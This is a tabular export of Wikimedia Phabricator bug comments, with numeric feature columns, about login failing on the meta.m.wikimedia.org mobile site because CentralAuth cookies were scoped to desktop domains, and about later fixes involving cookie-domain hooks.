",,,1455144990,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,3,False,,,128,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,12.0,3.625,0.875,"Change 269861 had a related patch set uploaded (by Anomie):
Better hack for T49647

[[GERRIT_URL]]
"
607774,meta.m.wikimedia.org user login doesn't work,"Change 269859 had a related patch set uploaded (by BryanDavis):
Allow changing cookie options in WebResponseSetCookie hook

[[https://gerrit.wikimedia.org/r/269859]]
",,,1455144638,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,3,False,,,128,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,4.592592592592593,0.8888888888888888,"Change 269859 had a related patch set uploaded (by BryanDavis):
Allow changing cookie options in WebResponseSetCookie hook

[[GERRIT_URL]]
"
607759,meta.m.wikimedia.org user login doesn't work,"The hack you put in place (changing `$wgCentralAuthCookieDomain` in the `EnterMobileMode` hook) doesn't work anymore with SessionManager, because CentralAuthSessionProvider reads the global when it's constructed in Setup.php and doesn't check it again.

One fix would be to get `$wgCentralAuthCookieDomain` set earlier, by the SetupAfterCache hook at the latest. But when I tried that as a local hack, things blew up because `MobileContext::shouldDisplayMobileView()` blows up if called that early.

Another fix would be to adjust the the WebResponseSetCookie hook to pass `$options` by reference, and then have MobileFrontend hack up `$options['domain']` when applicable.

Or you could try to figure out some hack to make all the SessionProviders reload their configurations. That would be extremely ugly, though.",,,1455144063,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,3,True,,,128,True,1.5,0.0,0.5,0.0,1.0,3.5,2.0,1.0,0.5,0.5,2.0,1.0,0.0,0.0,0.0,0.5,0.0,7.0,13.0,0.0,3.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,2.0,0.0,3.0,0.5,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,9.5,0.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,5.0,2.0,12.0,4.0,2.5,9.0,0.0,0.0,0.0,0.0,8.5,0.0,0.5,0.0,3.5,13.0,5.0,0.0,0.0,0.0,3.5,0.0,1.5,0.5,0.0,0.5,0.5,0.5,0.0,4.343283582089552,0.7537313432835822,"The hack you put in place (changing CODE in the CODE hook) doesn't work anymore with SessionManager, because CentralAuthSessionProvider reads the global when it's constructed in Setup.php and doesn't check it again.

One fix would be to get CODE set earlier, by the SetupAfterCache hook at the latest. But when I tried that as a local hack, things blew up because CODE blows up if called that early.

Another fix would be to adjust the the WebResponseSetCookie hook to pass CODE by reference, and then have MobileFrontend hack up CODE when applicable.

Or you could try to figure out some hack to make all the SessionProviders reload their configurations. That would be extremely ugly, though."
226444,meta.m.wikimedia.org user login doesn't work,"(In reply to comment #16)
> Ah, right. This is bug 14407 comment 1.
> 
> I thought you said incubator.wikimedia.org worked, though. Shouldn't it also
> be
> broken?

Nothing SHOULD be broken :p But to the heart of your question, incubator is not present in the exceptions made in configuration - only meta and commons are covered; species and incubator are not. I haven't dug sufficiently through code/configuration to know why these were left alone, but they appear to work fine (as in cookies get set for the appropriate domains - not incubator.wikimedia.org, nor .wikimedia.org), so there doesn't seem to be any issue with them as far as I can tell.",,,1367515899,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,1,False,,,-17,True,1.0,0.0,0.0,2.0,3.5,1.5,1.5,0.0,0.0,0.0,5.0,2.0,0.0,0.5,1.0,1.5,0.0,9.5,11.0,0.5,3.0,0.5,0.0,0.0,1.0,0.5,0.0,1.0,1.0,0.0,0.0,4.5,1.0,0.0,1.0,0.5,2.0,0.0,0.0,0.0,1.0,2.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,7.5,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,2.0,4.0,6.0,1.0,4.0,3.5,0.0,0.0,0.0,0.5,5.5,0.0,0.5,0.0,3.5,11.0,4.5,0.0,0.0,0.0,3.5,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,3.9754990925589837,0.8092861464004839,"(In reply to comment #16)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Nothing SHOULD be broken :p But to the heart of your question, incubator is not present in the exceptions made in configuration - only meta and commons are covered; species and incubator are not. I haven't dug sufficiently through code/configuration to know why these were left alone, but they appear to work fine (as in cookies get set for the appropriate domains - not incubator.wikimedia.org, nor .wikimedia.org), so there doesn't seem to be any issue with them as far as I can tell."
226439,meta.m.wikimedia.org user login doesn't work,"Deployed, works.",,,1367500047,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,"Deployed, works."
226436,meta.m.wikimedia.org user login doesn't work,"(In reply to comment #13)
> The aforementioned configuration forces login cookies for meta and commons to
> use their full explicit domains to prevent security issues for other
> wikimedia.org subdomains (like, those of chapters, etc). That means rather
> than setting login cookies for .wikimedia.org, we explicitly set login cookies
> for commons.wikimedia.org and meta.wikimedia.org; which will not be accessible
> from commons.m.wikimedia.org or meta.m.wikimedia.org.

Ah, right. This is bug 14407 comment 1.

I thought you said incubator.wikimedia.org worked, though. Shouldn't it also be broken?",,,1367459380,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,1,True,,,-17,True,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,4.0,0.0,2.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,22.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,4.0,4.0,6.0,0.0,6.0,4.0,10.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4489795918367347,0.6938775510204082,"(In reply to comment #13)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Ah, right. This is bug 14407 comment 1.

I thought you said incubator.wikimedia.org worked, though. Shouldn't it also be broken?"
226430,meta.m.wikimedia.org user login doesn't work,Whoops - accidentally reassigned to CentralAuth component even though Chris Steipp suggested we keep it as MobileFrontend.,,,1367455274,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,17.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,28.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,17.0,28.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.888888888888889,1.0,Whoops - accidentally reassigned to CentralAuth component even though Chris Steipp suggested we keep it as MobileFrontend.
226424,meta.m.wikimedia.org user login doesn't work,Related URL: https://gerrit.wikimedia.org/r/61941 (Gerrit Change I8d62245cb2764790e0e0fb2ade06f52a53a383c3),,,1367455139,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I8d62245cb2764790e0e0fb2ade06f52a53a383c3)
226418,meta.m.wikimedia.org user login doesn't work,"So, CentralAuth sets login cookies for most domains at the topmost level (eg .wikipedia.org as opposed to en.wikipedia.org), which works great with our domain scheme for mobile domains - that is, setting a cookie for .wikipedia.org will be usable by en.m.wikipedia.org as well as en.wikipedia.org.

The aforementioned configuration forces login cookies for meta and commons to use their full explicit domains to prevent security issues for other wikimedia.org subdomains (like, those of chapters, etc). That means rather than setting login cookies for .wikimedia.org, we explicitly set login cookies for commons.wikimedia.org and meta.wikimedia.org; which will not be accessible from commons.m.wikimedia.org or meta.m.wikimedia.org.

One possible solution would be to use the 'EnterMobileMode' hook to override $wgCentralAuthCookieDomain. Failing that, Chris Steipp suggested possibly adding a hook in CentralAuth to allow for mucking around with domain names, though that may be even uglier. I'll submit a patch for config to override $wgCentralAuthCookieDomain for commons/meta on mobile view.",,,1367454688,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.5,6.5,2.0,0.0,0.5,0.0,2.0,1.5,0.0,0.0,0.0,1.5,0.0,5.5,15.5,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.5,0.5,2.0,0.0,2.5,0.5,0.0,1.5,0.0,0.0,1.0,0.0,1.0,0.0,0.5,0.0,1.5,0.0,1.0,0.0,0.0,0.0,15.0,2.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.0,2.5,6.0,0.5,1.5,6.5,0.0,0.0,0.0,0.0,6.0,0.5,1.0,0.0,2.0,15.5,9.0,0.0,1.0,0.0,2.0,0.0,1.0,1.5,0.0,2.5,0.5,1.0,1.0,5.222161172161172,0.7513431013431013,"So, CentralAuth sets login cookies for most domains at the topmost level (eg .wikipedia.org as opposed to en.wikipedia.org), which works great with our domain scheme for mobile domains - that is, setting a cookie for .wikipedia.org will be usable by en.m.wikipedia.org as well as en.wikipedia.org.

The aforementioned configuration forces login cookies for meta and commons to use their full explicit domains to prevent security issues for other wikimedia.org subdomains (like, those of chapters, etc). That means rather than setting login cookies for .wikimedia.org, we explicitly set login cookies for commons.wikimedia.org and meta.wikimedia.org; which will not be accessible from commons.m.wikimedia.org or meta.m.wikimedia.org.

One possible solution would be to use the 'EnterMobileMode' hook to override $wgCentralAuthCookieDomain. Failing that, Chris Steipp suggested possibly adding a hook in CentralAuth to allow for mucking around with domain names, though that may be even uglier. I'll submit a patch for config to override $wgCentralAuthCookieDomain for commons/meta on mobile view."
226409,meta.m.wikimedia.org user login doesn't work,"I have a feeling this is related to the domain handling/""don't autologin to self"" stuff in CommonSettings.php:
https://gerrit.wikimedia.org/r/gitweb?p=operations/mediawiki-config.git;a=blob;f=wmf-config/CommonSettings.php;h=e48ef50da6e886f17fad0b249b1f224f34f35b85;hb=HEAD#l1479

I'll try and take a closer look later.",,,1367452694,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,1,False,,,-17,True,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,3.0,12.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,6.0,9.0,3.0,0.0,3.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,4.09375,0.90625,"I have a feeling this is related to the domain handling/""don't autologin to self"" stuff in CommonSettings.php:
URL

I'll try and take a closer look later."
226403,meta.m.wikimedia.org user login doesn't work,"Created attachment 12231
No problem on incubator

I thought this problem might be plaguing wikimedia.org projects, but incubator.m.wikimedia.org works just fine. My best guess is something wonky in CentralAuth rather than MobileFrontend.

**Attached**: {F10874}",,,1367451389,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,1,False,,,-17,True,0.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,6.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,4.914893617021277,0.8723404255319149,"Created attachment 12231
No problem on incubator

I thought this problem might be plaguing wikimedia.org projects, but incubator.m.wikimedia.org works just fine. My best guess is something wonky in CentralAuth rather than MobileFrontend.

**Attached**: {F10874}"
226393,meta.m.wikimedia.org user login doesn't work,"Created attachment 12230
Similar behavior on commons.m.wikimedia.org

Incidentally, the same behavior is present on commons.m.wikimedia.org (a little harder to make happen since we don't have the automatic redirect enabled for commonswiki, but doable). You can see the same lack of a centralauth_User and centralauth_Session cookie for commons.

**Attached**: {F10873}",,,1367451251,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,1,False,,,-17,True,0.0,0.0,0.0,0.0,2.0,11.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,11.0,0.0,2.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,3.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,9.0,2.0,3.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,3.0,11.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,4.893939393939394,0.7878787878787878,"Created attachment 12230
Similar behavior on commons.m.wikimedia.org

Incidentally, the same behavior is present on commons.m.wikimedia.org (a little harder to make happen since we don't have the automatic redirect enabled for commonswiki, but doable). You can see the same lack of a centralauth_User and centralauth_Session cookie for commons.

**Attached**: {F10873}"
226381,meta.m.wikimedia.org user login doesn't work,"When I log in via meta.m.wikimedia.org, there are no centralauth_User or centralauth_Sesssion cookies set for meta.m.wikimedia.org (or .wikimedia.org or meta anything), which must be the problem. (See attached screenshot - I've sorted the cookies by domain to make it clearer). Incidentally, you'll notice a JS error, though I'm pretty sure that's unrelated to this problem - rather, it's related to a gadget I use on metawiki which presumably is unsupported on the mobile site.

I've also attached a screenshot of cookies that get set when I log in to http://meta.wikimedia.org (desktop version), which shows centralauth_User and centralauth_Session cookies getting set for '.meta.wikimedia.org'",,,1367450813,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,1,False,,,-17,True,0.0,0.5,0.0,0.0,0.0,4.0,1.5,0.0,0.5,0.0,2.0,4.0,0.0,0.0,0.5,4.0,0.0,4.5,9.5,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,8.5,2.0,1.5,0.0,0.5,0.0,1.5,1.0,0.0,0.5,0.0,0.0,2.0,0.0,1.0,0.0,1.0,0.0,10.0,0.0,1.0,0.5,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,2.0,6.5,2.0,2.5,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.5,9.5,4.5,0.0,1.5,0.0,5.5,0.0,4.0,2.0,0.0,1.0,0.5,0.0,0.0,4.555555555555555,0.7936507936507936,"When I log in via meta.m.wikimedia.org, there are no centralauth_User or centralauth_Sesssion cookies set for meta.m.wikimedia.org (or .wikimedia.org or meta anything), which must be the problem. (See attached screenshot - I've sorted the cookies by domain to make it clearer). Incidentally, you'll notice a JS error, though I'm pretty sure that's unrelated to this problem - rather, it's related to a gadget I use on metawiki which presumably is unsupported on the mobile site.

I've also attached a screenshot of cookies that get set when I log in to URL (desktop version), which shows centralauth_User and centralauth_Session cookies getting set for '.meta.wikimedia.org'"
226377,meta.m.wikimedia.org user login doesn't work,"Created attachment 12229
centralauth cookies for meta in desktop mode

**Attached**: {F10872}",,,1367450791,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8571428571428571,"Created attachment 12229
centralauth cookies for meta in desktop mode

**Attached**: {F10872}"
226373,meta.m.wikimedia.org user login doesn't work,"Created attachment 12228
No centralauth cookies for meta in mobile mode post-login

**Attached**: {F10871}",,,1367450760,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,0.88,"Created attachment 12228
No centralauth cookies for meta in mobile mode post-login

**Attached**: {F10871}"
226369,meta.m.wikimedia.org user login doesn't work,"I can replicate on Firefox.

Since this works on other wikis it's likely to be a server configuration rather than a problem with the MobileFrontend extension.

Can we replicate this on any other wikis?

Interestingly, if you look at the left menu on the page which says ""Return to Watchlist"" it shows you as logged in (you can see a logout) so it seems to reset on the next page visit. I suspect a cookie is being discarded during the login process.",,,1367253849,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,1,False,,,-18,True,1.0,0.0,0.0,2.0,0.0,5.0,1.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,17.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,3.0,3.0,1.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,9.0,3.0,9.0,2.0,0.0,14.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,9.0,17.0,3.0,1.0,2.0,0.0,9.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,3.8645833333333335,0.6875,"I can replicate on Firefox.

Since this works on other wikis it's likely to be a server configuration rather than a problem with the MobileFrontend extension.

Can we replicate this on any other wikis?

Interestingly, if you look at the left menu on the page which says ""Return to Watchlist"" it shows you as logged in (you can see a logout) so it seems to reset on the next page visit. I suspect a cookie is being discarded during the login process."
226364,meta.m.wikimedia.org user login doesn't work,"(In reply to comment #4)
> I'm sorry, what does commons.wikimedia.org have to do with
> meta.m.wikimedia.org?

Nothing. Missing coffee in the morning on my side, sorry.

So I can confirm this.

Going to https://meta.m.wikimedia.org in Firefox 18 and Opera 12.14, signing in, returning to the mainpage and clicking the ""star"" icon (to add the page to my watchlist) asks me to log in again. I cannot log in at all.",,,1367251588,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,1,True,,,-18,True,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,17.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,5.0,0.0,15.0,0.0,2.0,6.0,0.0,0.0,0.0,1.0,6.0,0.0,4.0,0.0,6.0,17.0,2.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,3.158536585365854,0.6341463414634146,"(In reply to comment #4)
QUOTE
QUOTE

Nothing. Missing coffee in the morning on my side, sorry.

So I can confirm this.

Going to URL in Firefox 18 and Opera 12.14, signing in, returning to the mainpage and clicking the ""star"" icon (to add the page to my watchlist) asks me to log in again. I cannot log in at all."
226360,meta.m.wikimedia.org user login doesn't work,"(In reply to comment #3)
> Log in on meta.m.wikimedia.org with Firefox18 works for me, and when I go to
> https://commons.wikimedia.org/wiki/Special:Watchlist I am logged in.

I'm sorry, what does commons.wikimedia.org have to do with meta.m.wikimedia.org?

Comment 0 is pretty clear that this is about <https://meta.m.wikimedia.org/wiki/Special:Watchlist> and other pages on meta.m.wikimedia.org (Meta-Wiki's mobile site).",,,1367249440,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,1,True,,,-18,True,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,6.0,0.0,4.0,0.0,2.0,13.0,12.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,3.9615384615384617,0.8461538461538461,"(In reply to comment #3)
QUOTE
QUOTE

I'm sorry, what does commons.wikimedia.org have to do with meta.m.wikimedia.org?

Comment 0 is pretty clear that this is about <URL and other pages on meta.m.wikimedia.org (Meta-Wiki's mobile site)."
226354,meta.m.wikimedia.org user login doesn't work,"Log in on meta.m.wikimedia.org with Firefox18 works for me, and when I go to https://commons.wikimedia.org/wiki/Special:Watchlist I am logged in.

MZMcBride: Which browser and version is this about? (In general helpful info for bug reports.)",,,1367225197,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-oopmckue4qzl6hd5gznh,task_subcomment,,True,c2,1,True,,,-18,True,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,5.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,2.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,19.0,2.0,5.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,21.0,5.0,2.0,0.0,0.0,7.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,3.8095238095238093,0.8809523809523809,"Log in on meta.m.wikimedia.org with Firefox18 works for me, and when I go to URL I am logged in.

MZMcBride: Which browser and version is this about? (In general helpful info for bug reports.)"
